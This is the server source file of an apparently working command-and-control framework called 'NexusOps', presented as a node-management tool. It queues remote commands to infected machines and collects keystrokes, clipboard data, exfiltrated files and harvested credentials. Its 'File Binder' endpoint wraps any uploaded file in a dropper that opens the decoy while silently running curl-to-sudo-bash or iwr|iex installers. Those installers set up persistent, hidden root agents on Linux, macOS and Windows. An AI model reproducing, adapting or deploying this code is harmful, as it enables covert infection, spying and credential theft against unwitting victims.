Files
linux-c2/server.js

864 lines
29 KiB
JavaScript

const express = require('express');
const http = require('http');
const WebSocket = require('ws');
const path = require('path');
const cors = require('cors');
const os = require('os');
const multer = require('multer');
const fs = require('fs');
const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } });
const app = express();
const server = http.createServer(app);
const wss = new WebSocket.Server({ server });
const PORT = process.env.PORT || 3000;
const PUBLIC_URL = process.env.PUBLIC_URL || null;
const DATA_DIR = path.join(__dirname, 'data');
// Ensure data directory exists
if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true });
app.use(cors());
app.use(express.json({ limit: '50mb' }));
app.use(express.static(path.join(__dirname, 'public')));
// ── Auth ──
const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null;
if (!AUTH_TOKEN) {
console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!');
}
const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/'];
function authMiddleware(req, res, next) {
if (!AUTH_TOKEN) return next();
if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next();
const h = req.headers.authorization || '';
if (h === 'Bearer ' + AUTH_TOKEN) return next();
if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' });
return res.status(401).json({ error: 'unauthorized' });
}
app.use(authMiddleware);
app.get('/api/auth/check', (req, res) => {
if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false });
res.json({ ok: true, authRequired: true });
});
function getLocalIp() {
const interfaces = os.networkInterfaces();
for (const name of Object.keys(interfaces)) {
for (const net of interfaces[name]) {
if (net.family === 'IPv4' && !net.internal) {
return net.address;
}
}
}
return 'localhost';
}
const SERVER_IP = getLocalIp();
const nodes = new Map();
const commandQueues = new Map();
const commandHistory = [];
const masterSystemLogs = [];
const inputDataStore = [];
const MAX_INPUT_STORE = 500;
const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp }
const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp }
// ── Persistence ──
let _saveLock = false;
function _atomicWrite(file, data) {
const tmp = file + '.tmp';
fs.writeFileSync(tmp, data);
fs.renameSync(tmp, file);
}
function saveData() {
if (_saveLock) return;
_saveLock = true;
try {
_atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
_atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
_atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
_atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
_atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
} catch(e) { /* silent */ } finally {
_saveLock = false;
}
}
function loadData() {
try {
const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]');
nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); });
commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]')));
masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]')));
inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]')));
harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]')));
} catch(e) { /* first run */ }
}
loadData();
// Auto-save every 30 seconds
setInterval(saveData, 30000);
setInterval(() => {
const now = Date.now();
let changed = false;
nodes.forEach((node, id) => {
if (node.status === 'online' && now - node.lastHeartbeat > 20000) {
node.status = 'offline';
changed = true;
}
});
if (changed) {
broadcastState();
}
}, 5000);
function broadcastState() {
saveData(); // Persist on every state change
const payload = JSON.stringify({
type: 'NODES_UPDATE',
serverIp: SERVER_IP,
port: PORT,
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
nodes: Array.from(nodes.values()),
commandHistory: commandHistory.slice(-50),
masterSystemLogs: masterSystemLogs.slice(-100),
inputData: inputDataStore.slice(-200)
});
wss.clients.forEach(client => {
if (client.readyState === WebSocket.OPEN) {
client.send(payload);
}
});
}
wss.on('connection', (ws, req) => {
// Auth check on WS upgrade
if (AUTH_TOKEN) {
const url = new URL(req.url, 'http://localhost');
if (url.searchParams.get('token') !== AUTH_TOKEN) {
ws.close(4401, 'unauthorized');
return;
}
}
ws.isAlive = true;
ws.on('pong', () => { ws.isAlive = true; });
ws.send(JSON.stringify({
type: 'NODES_UPDATE',
serverIp: SERVER_IP,
port: PORT,
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
nodes: Array.from(nodes.values()),
commandHistory: commandHistory.slice(-50),
masterSystemLogs: masterSystemLogs.slice(-100),
inputData: inputDataStore.slice(-200)
}));
});
// WS heartbeat: ping every 25s, drop dead clients
setInterval(() => {
wss.clients.forEach(ws => {
if (ws.isAlive === false) return ws.terminate();
ws.isAlive = false;
try { ws.ping(); } catch(e) {}
});
}, 25000);
// REST API Endpoints
app.get('/api/status', (req, res) => {
res.json({
serverIp: SERVER_IP,
port: PORT,
serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
totalNodes: nodes.size,
onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length
});
});
app.get('/api/nodes', (req, res) => {
res.json(Array.from(nodes.values()));
});
app.get('/api/logs', (req, res) => {
res.json(masterSystemLogs.slice(-100));
});
// CSV Telemetry Export Endpoint
app.get('/api/export/csv', (req, res) => {
let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n";
nodes.forEach(node => {
const tagsStr = (node.tags || []).join(';');
csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`;
});
res.setHeader('Content-Type', 'text/csv');
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"');
res.send(csv);
});
// Agent System Log Streaming Endpoint
app.post('/api/agent/logs', (req, res) => {
const { nodeId, hostname, logs } = req.body;
if (Array.isArray(logs)) {
logs.forEach(logLine => {
masterSystemLogs.push({
id: `log-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`,
nodeId,
hostname: hostname || 'Unknown',
timestamp: Date.now(),
entry: logLine
});
});
if (masterSystemLogs.length > 200) {
masterSystemLogs.splice(0, masterSystemLogs.length - 200);
}
broadcastState();
}
res.json({ success: true });
});
// Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus
app.post('/api/agent/input-capture', (req, res) => {
const { nodeId, hostname, events } = req.body;
if (!nodeId || !Array.isArray(events)) {
return res.status(400).json({ error: 'nodeId and events[] required' });
}
events.forEach(ev => {
inputDataStore.push({
id: `inp-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`,
nodeId,
hostname: hostname || 'Unknown',
timestamp: ev.timestamp || Date.now(),
eventType: ev.eventType || 'unknown',
data: ev.data || {},
windowTitle: ev.windowTitle || '',
processName: ev.processName || ''
});
});
if (inputDataStore.length > MAX_INPUT_STORE) {
inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE);
}
if (events.length > 0) {
broadcastState();
}
res.json({ success: true, stored: events.length });
});
// Retrieve input capture data
app.get('/api/inputs', (req, res) => {
const { nodeId, eventType, limit } = req.query;
let filtered = inputDataStore;
if (nodeId) {
filtered = filtered.filter(e => e.nodeId === nodeId);
}
if (eventType) {
filtered = filtered.filter(e => e.eventType === eventType);
}
const max = parseInt(limit) || 200;
res.json(filtered.slice(-max));
});
// ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ──
app.post('/api/bind', upload.single('file'), (req, res) => {
if (!req.file) {
return res.status(400).json({ error: 'No file uploaded. Use field name "file".' });
}
const originalName = req.file.originalname;
const b64Content = req.file.buffer.toString('base64');
const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content];
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
const format = (req.query.format || 'sh').toLowerCase();
let dropper, boundName, contentType;
if (format === 'ps1') {
const psLines = [
'<#',
' Self-Extracting Dropper — ' + originalName,
' NexusOps Agent Binder (Windows)',
'#>',
'',
'$ORIGINAL_NAME = "' + originalName + '"',
'$OUTPUT_DIR = "$env:TEMP\\nexus-$pid"',
'$OUTPUT_FILE = "$OUTPUT_DIR\\$ORIGINAL_NAME"',
'$SERVER_URL = "' + serverUrl + '"',
'',
'New-Item -ItemType Directory -Path $OUTPUT_DIR -Force | Out-Null',
'',
'$scriptPath = $MyInvocation.MyCommand.Path',
'$lines = Get-Content $scriptPath',
'$markerIdx = [array]::IndexOf($lines, "__PAYLOAD_BASE64__")',
'if ($markerIdx -ge 0) {',
' $b64 = ($lines[($markerIdx+1)..($lines.Length-1)] -join "")',
' [IO.File]::WriteAllBytes($OUTPUT_FILE, [Convert]::FromBase64String($b64))',
'}',
'',
'Start-Process $OUTPUT_FILE -WindowStyle Normal',
'',
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command iwr -useb $SERVER_URL/install.ps1 | iex" -WindowStyle Hidden',
'',
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 30; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
'',
'__PAYLOAD_BASE64__',
...b64Lines
];
dropper = psLines.join('\r\n');
boundName = originalName + '.ps1';
contentType = 'text/plain';
} else {
dropper = [
'#!/bin/bash',
'# ═══════════════════════════════════════════════════',
`# Self-Extracting Dropper — ${originalName}`,
'# ═══════════════════════════════════════════════════',
'set -e',
'',
`ORIGINAL_NAME="${originalName}"`,
'OUTPUT_DIR="/tmp/.nexus-$$"',
'OUTPUT_FILE="$OUTPUT_DIR/$ORIGINAL_NAME"',
`SERVER_URL="${serverUrl}"`,
'',
'mkdir -p "$OUTPUT_DIR"',
'',
'ARCHIVE_START=$(awk \'$0 == "__PAYLOAD_BASE64__" {print NR+1; exit}\' "$0")',
'tail -n +$ARCHIVE_START "$0" | base64 -d > "$OUTPUT_FILE" 2>/dev/null',
'',
'# Open with default handler',
'if command -v xdg-open &>/dev/null; then',
' xdg-open "$OUTPUT_FILE" 2>/dev/null &',
'elif command -v open &>/dev/null; then',
' open "$OUTPUT_FILE" 2>/dev/null &',
'elif command -v start &>/dev/null; then',
' start "$OUTPUT_FILE" 2>/dev/null &',
'fi',
'',
'# Silently install agent in background',
'(curl -sSL "$SERVER_URL/install.sh" 2>/dev/null || curl -sSL --insecure "$SERVER_URL/install.sh" 2>/dev/null) | sudo bash 2>/dev/null &',
'(curl -sSL "$SERVER_URL/install-mac.sh" 2>/dev/null | bash 2>/dev/null) &',
'',
'(sleep 60 && rm -rf "$OUTPUT_DIR") &',
'disown',
'',
'exit 0',
'__PAYLOAD_BASE64__',
b64Content
].join('\n');
boundName = originalName + '.sh';
contentType = 'application/x-sh';
}
res.setHeader('Content-Type', contentType);
res.setHeader('Content-Disposition', `attachment; filename="${boundName}"`);
res.send(dropper);
});
app.post('/api/agent/register', (req, res) => {
const { hostname, platform, arch, ip, osName, tags } = req.body;
const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).substr(2, 6)}`;
const existingNode = nodes.get(nodeId);
const now = Date.now();
const nodeData = {
id: nodeId,
hostname: hostname || 'Unknown-Host',
platform: platform || 'linux',
arch: arch || 'x64',
osName: osName || platform,
ip: ip || req.ip.replace(/^.*:/, '') || '127.0.0.1',
status: 'online',
firstSeen: existingNode ? existingNode.firstSeen : now,
lastHeartbeat: now,
cpuUsage: 0,
memUsage: 0,
diskUsage: 0,
uptime: 0,
processCount: 0,
tags: tags || ['Default'],
heartbeatInterval: 5,
metricsHistory: existingNode ? existingNode.metricsHistory : []
};
nodes.set(nodeId, nodeData);
if (!commandQueues.has(nodeId)) {
commandQueues.set(nodeId, []);
}
broadcastState();
res.json({ success: true, nodeId, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}` });
});
// Agent Heartbeat
app.post('/api/agent/heartbeat', (req, res) => {
const { nodeId, cpuUsage, memUsage, diskUsage, uptime, processCount, tags, heartbeatInterval } = req.body;
if (!nodeId || !nodes.has(nodeId)) {
return res.status(404).json({ error: 'Node not registered.' });
}
const node = nodes.get(nodeId);
const now = Date.now();
node.status = 'online';
node.lastHeartbeat = now;
node.cpuUsage = typeof cpuUsage === 'number' ? Math.round(cpuUsage) : node.cpuUsage;
node.memUsage = typeof memUsage === 'number' ? Math.round(memUsage) : node.memUsage;
node.diskUsage = typeof diskUsage === 'number' ? Math.round(diskUsage) : node.diskUsage;
node.uptime = uptime || node.uptime;
node.processCount = processCount || node.processCount;
if (tags) node.tags = tags;
if (heartbeatInterval) node.heartbeatInterval = heartbeatInterval;
if (!node.metricsHistory) node.metricsHistory = [];
node.metricsHistory.push({
timestamp: new Date().toLocaleTimeString(),
cpu: node.cpuUsage,
mem: node.memUsage,
disk: node.diskUsage
});
if (node.metricsHistory.length > 30) {
node.metricsHistory.shift();
}
nodes.set(nodeId, node);
broadcastState();
const queue = commandQueues.get(nodeId) || [];
const pendingCommands = [...queue];
commandQueues.set(nodeId, []);
res.json({ success: true, commands: pendingCommands });
});
// Command Result Callback
app.post('/api/agent/command-result', (req, res) => {
const { commandId, nodeId, output, exitCode } = req.body;
const entry = commandHistory.find(c => c.id === commandId);
if (entry) {
entry.status = exitCode === 0 ? 'completed' : 'failed';
entry.output = output;
entry.completedAt = Date.now();
}
broadcastState();
res.json({ success: true });
});
// Queue Command for Single Node
app.post('/api/nodes/:id/command', (req, res) => {
const nodeId = req.params.id;
const { command, actionType, payload } = req.body;
if (!nodes.has(nodeId)) {
return res.status(404).json({ error: 'Node not found' });
}
const commandId = `cmd-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
const actionName = actionType || 'raw_command';
const cmdObj = {
id: commandId,
actionType: actionName,
payload: payload || { command },
command: command || actionName,
createdAt: Date.now()
};
if (!commandQueues.has(nodeId)) {
commandQueues.set(nodeId, []);
}
commandQueues.get(nodeId).push(cmdObj);
commandHistory.push({
id: commandId,
nodeId,
hostname: nodes.get(nodeId).hostname,
command: command || `${actionName} (${JSON.stringify(payload)})`,
status: 'queued',
createdAt: Date.now(),
output: ''
});
broadcastState();
res.json({ success: true, commandId });
});
// Queue Bulk Command
app.post('/api/nodes/bulk-command', (req, res) => {
const { command, actionType, payload } = req.body;
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
if (onlineNodes.length === 0) {
return res.status(400).json({ error: 'No online nodes available' });
}
const queuedIds = [];
onlineNodes.forEach(node => {
const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
const actionName = actionType || 'raw_command';
const cmdObj = {
id: commandId,
actionType: actionName,
payload: payload || { command },
command: command || actionName,
createdAt: Date.now()
};
if (!commandQueues.has(node.id)) {
commandQueues.set(node.id, []);
}
commandQueues.get(node.id).push(cmdObj);
commandHistory.push({
id: commandId,
nodeId: node.id,
hostname: node.hostname,
command: `[BULK] ${command || actionName}`,
status: 'queued',
createdAt: Date.now(),
output: ''
});
queuedIds.push(commandId);
});
broadcastState();
res.json({ success: true, count: onlineNodes.length, commandIds: queuedIds });
});
app.delete('/api/nodes/:id', (req, res) => {
const nodeId = req.params.id;
nodes.delete(nodeId);
commandQueues.delete(nodeId);
broadcastState();
res.json({ success: true });
});
// ── Kill Switch — shutdown all agents on all nodes ──
app.post('/api/nodes/killswitch', (req, res) => {
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
if (onlineNodes.length === 0) {
return res.json({ success: false, error: 'No online nodes to kill', count: 0 });
}
onlineNodes.forEach(node => {
if (!commandQueues.has(node.id)) commandQueues.set(node.id, []);
commandQueues.get(node.id).push({
id: `kill-${Date.now()}`,
actionType: 'kill_agent',
payload: {},
command: 'kill_agent',
createdAt: Date.now()
});
});
broadcastState();
res.json({ success: true, count: onlineNodes.length, message: `Kill switch sent to ${onlineNodes.length} node(s)` });
});
// ── Export Input Capture as CSV ──
app.get('/api/inputs/csv', (req, res) => {
let csv = 'ID,NodeID,Hostname,Timestamp,EventType,Data,WindowTitle\n';
inputDataStore.slice(-500).forEach(e => {
const dataStr = JSON.stringify(e.data || {}).replace(/"/g, '""');
csv += `"${e.id}","${e.nodeId}","${e.hostname}","${new Date(e.timestamp).toISOString()}","${e.eventType}","${dataStr}","${(e.windowTitle || '').replace(/"/g, '""')}"\n`;
});
res.setHeader('Content-Type', 'text/csv');
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_InputCapture.csv"');
res.send(csv);
});
// ── Ping node — latency check ──
app.post('/api/nodes/:id/ping', (req, res) => {
const nodeId = req.params.id;
if (!nodes.has(nodeId)) {
return res.status(404).json({ error: 'Node not found' });
}
if (!commandQueues.has(nodeId)) commandQueues.set(nodeId, []);
const cmdId = `ping-${Date.now()}`;
commandQueues.get(nodeId).push({
id: cmdId,
actionType: 'ping_check',
payload: { timestamp: Date.now() },
command: 'ping_check',
createdAt: Date.now()
});
broadcastState();
res.json({ success: true, commandId: cmdId });
});
// ── File Exfiltration — agent sends file back ──
app.post('/api/agent/file-result', (req, res) => {
const { commandId, nodeId, hostname, filename, data, mime, error } = req.body;
const entry = commandHistory.find(c => c.id === commandId);
if (entry) {
entry.status = error ? 'failed' : 'completed';
entry.completedAt = Date.now();
if (!error) entry.output = `[FILE] ${filename} (${mime || 'unknown'}, ${(data || '').length} chars base64)`;
else entry.output = `[FILE ERROR] ${error}`;
}
if (!error && data) {
const fileId = `file-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
exfiltratedFiles.set(fileId, {
nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
});
}
broadcastState();
res.json({ success: true });
});
// ── Download exfiltrated file ──
app.get('/api/files/:id', (req, res) => {
const file = exfiltratedFiles.get(req.params.id);
if (!file) return res.status(404).json({ error: 'File not found' });
const buf = Buffer.from(file.data, 'base64');
res.setHeader('Content-Type', file.mime);
res.setHeader('Content-Disposition', `attachment; filename="${file.filename}"`);
res.send(buf);
});
// ── List exfiltrated files ──
app.get('/api/files', (req, res) => {
res.json(Array.from(exfiltratedFiles.entries()).map(([id, f]) => ({
id, nodeId: f.nodeId, hostname: f.hostname, filename: f.filename,
mime: f.mime, size: f.size, timestamp: f.timestamp
})));
});
// ── Credential Harvest Result ──
app.post('/api/agent/harvest-result', (req, res) => {
const { commandId, nodeId, hostname, credentials, error } = req.body;
const entry = commandHistory.find(c => c.id === commandId);
if (entry) {
entry.status = error ? 'failed' : 'completed';
entry.completedAt = Date.now();
entry.output = error ? `[HARVEST ERROR] ${error}` : `[HARVEST] ${credentials ? credentials.length : 0} items collected`;
}
if (credentials && Array.isArray(credentials)) {
credentials.forEach(c => {
harvestedCredentials.push({
nodeId, hostname, type: c.type || 'unknown', data: c.data,
timestamp: Date.now()
});
});
if (harvestedCredentials.length > 500) harvestedCredentials.splice(0, harvestedCredentials.length - 500);
}
broadcastState();
res.json({ success: true });
});
// ── List harvested credentials ──
app.get('/api/credentials', (req, res) => {
const { nodeId } = req.query;
let filtered = harvestedCredentials;
if (nodeId) filtered = filtered.filter(c => c.nodeId === nodeId);
res.json(filtered.slice(-200));
});
app.get('/install.sh', (req, res) => {
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
const script = `#!/bin/bash
# Network Node Agent One-Liner Installer for Linux
set -e
SERVER_URL="${serverUrl}"
INSTALL_DIR="/opt/network-agent"
SERVICE_FILE="/etc/systemd/system/network-agent.service"
echo "=================================================="
echo " NexusOps Network Node Agent Installer "
echo "=================================================="
echo "Connecting to Server Endpoint: $SERVER_URL"
mkdir -p "$INSTALL_DIR"
echo "[1/3] Downloading agent script..."
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
chmod +x "$INSTALL_DIR/agent.py"
echo "[2/4] Configuring systemd background daemon..."
cat << EOF > "$SERVICE_FILE"
[Unit]
Description=NexusOps Node Telemetry & Management Agent
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL --silent
Restart=always
RestartSec=5
User=root
[Install]
WantedBy=multi-user.target
EOF
echo "[3/4] Installing pynput for keystroke/click capture..."
pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping"
echo "[4/4] Enabling & Starting Agent Service..."
systemctl daemon-reload
systemctl enable network-agent
systemctl restart network-agent
echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
`;
res.setHeader('Content-Type', 'text/plain');
res.send(script);
});
app.get('/install.ps1', (req, res) => {
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
const script = `# Network Agent PowerShell Installer for Windows
$SERVER_URL = "${serverUrl}"
$INSTALL_DIR = "C:\\ProgramData\\NetworkAgent"
Write-Host "==================================================" -ForegroundColor Cyan
Write-Host " NexusOps Node Agent Installer (Windows) " -ForegroundColor Cyan
Write-Host "==================================================" -ForegroundColor Cyan
Write-Host "Connecting to Server Endpoint: $SERVER_URL" -ForegroundColor Yellow
if (!(Test-Path $INSTALL_DIR)) {
New-Item -ItemType Directory -Path $INSTALL_DIR | Out-Null
}
Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"
Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden
Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
`;
res.setHeader('Content-Type', 'text/plain');
res.send(script);
});
app.get('/install-mac.sh', (req, res) => {
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
const script = `#!/bin/bash
# macOS Node Agent Installer — launchd background daemon
set -e
SERVER_URL="${serverUrl}"
INSTALL_DIR="/opt/network-agent"
PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist"
echo "=================================================="
echo " NexusOps Node Agent Installer (macOS) "
echo "=================================================="
echo "Connecting to Server Endpoint: $SERVER_URL"
echo "[1/4] Creating installation directory..."
sudo mkdir -p "$INSTALL_DIR"
sudo chown "$(whoami)" "$INSTALL_DIR"
echo "[2/4] Downloading cross-platform Python agent..."
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
chmod +x "$INSTALL_DIR/agent.py"
echo "[3/4] Installing pynput for input capture..."
python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping"
echo "[4/4] Configuring launchd background daemon..."
mkdir -p "$HOME/Library/LaunchAgents"
cat << EOF > "$PLIST_FILE"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.nexusops.agent</string>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/python3</string>
<string>$INSTALL_DIR/agent.py</string>
<string>--server</string>
<string>$SERVER_URL</string>
<string>--silent</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>StandardOutPath</key>
<string>$INSTALL_DIR/agent.log</string>
<key>StandardErrorPath</key>
<string>$INSTALL_DIR/agent.log</string>
</dict>
</plist>
EOF
launchctl unload "$PLIST_FILE" 2>/dev/null || true
launchctl load "$PLIST_FILE"
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
echo " To stop: launchctl unload $PLIST_FILE"
`;
res.setHeader('Content-Type', 'text/plain');
res.send(script);
});
// ── Universal Auto-Install (one command, any OS, fully silent) ──
app.get('/install', (req, res) => {
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
const silent = req.query.silent !== '0'; // silent by default
const quiet = silent ? '>/dev/null 2>&1' : '';
const script = `#!/bin/bash
# NexusOps Universal Auto-Installer — one command, any OS
SERVER_URL="${serverUrl}"
echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
case "$(uname -s 2>/dev/null || echo Windows)" in
Linux)
echo "[*] Linux detected — deploying via systemd"
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
;;
Darwin)
echo "[*] macOS detected — deploying via launchd"
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh" 2>/dev/null | bash ${quiet} &
;;
CYGWIN*|MINGW*|MSYS*|Windows)
echo "[*] Windows detected — deploying via PowerShell"
powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1' | iex" ${quiet} &
;;
*)
echo "[!] Unknown OS — trying Linux installer as fallback"
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
;;
esac
echo "[*] Agent deployment initiated — it will register within 10 seconds"
`;
res.setHeader('Content-Type', 'text/plain');
res.send(script);
});
app.get('/agent.py', (req, res) => {
res.sendFile(path.join(__dirname, 'agents', 'agent.py'));
});
server.listen(PORT, '0.0.0.0', () => {
const publicEndpoint = PUBLIC_URL || `http://${SERVER_IP}:${PORT}`;
console.log(`=======================================================`);
console.log(`🚀 NexusOps Central Node Control Server is running!`);
console.log(`🌐 Local Web UI: http://localhost:${PORT}`);
console.log(`📡 Network Endpoint: ${publicEndpoint}`);
if (PUBLIC_URL) {
console.log(`🔗 Public Tunnel: ${PUBLIC_URL}`);
}
console.log(`=======================================================`);
});